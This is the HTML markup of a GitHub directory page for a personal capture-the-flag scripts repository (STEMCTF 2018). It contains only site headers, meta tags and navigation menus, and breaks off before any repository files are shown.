src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF/STEMCTF_2018 at master · Liodeus/CTF · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="AA05:6BE1:1C8B172B:1D61D3AD:64122696" data-pjax-transient="true"/><meta name="html-safe-nonce" content="8a1a9ff4b3e7370a34890541b67187b19457cb24cee5a21a879cc823207362c5" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBQTA1OjZCRTE6MUM4QjE3MkI6MUQ2MUQzQUQ6NjQxMjI2OTYiLCJ2aXNpdG9yX2lkIjoiMzkyNTE3NTg2ODQ2MzYxMjM4IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="979339e934fabe58ab785bc345bb74cde898e27a363dec9998dffa940d37fc4f" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:128605495" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="All my CTF script that I wrote. Contribute to Liodeus/CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/89dfd671c49565b0d7f3b4ca8a044de027f12d5daf940cd72ed34201f1627ec3/Liodeus/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/STEMCTF_2018 at master · Liodeus/CTF" /><meta name="twitter:description" content="All my CTF script that I wrote. Contribute to Liodeus/CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/89dfd671c49565b0d7f3b4ca8a044de027f12d5daf940cd72ed34201f1627ec3/Liodeus/CTF" /><meta property="og:image:alt" content="All my CTF script that I wrote. Contribute to Liodeus/CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/STEMCTF_2018 at master · Liodeus/CTF" /><meta property="og:url" content="https://github.com/Liodeus/CTF" /><meta property="og:description" content="All my CTF script that I wrote. Contribute to Liodeus/CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/Liodeus/CTF git https://github.com/Liodeus/CTF.git"> <meta name="octolytics-dimension-user_id" content="26687848" /><meta name="octolytics-dimension-user_login" content="Liodeus" /><meta name="octolytics-dimension-repository_id" content="128605495" /><meta name="octolytics-dimension-repository_nwo" content="Liodeus/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="128605495" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Liodeus/CTF" /> <link rel="canonical" href="https://github.com/Liodeus/CTF/tree/master/STEMCTF_2018" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="128605495" data-scoped-search-url="/Liodeus/CTF/search" data-owner-scoped-search-url="/users/Liodeus/search" data-unscoped-search-url="/search" data-turbo="false" action="/Liodeus/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="159Ix6Xs1aCGf12BneErzSzJzgX6+BImHZ1Fid2Y82z6cbM5CAdoRxm3Z1PxoJ2DKBwzJXTw7t7ZQExYPcnoiw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 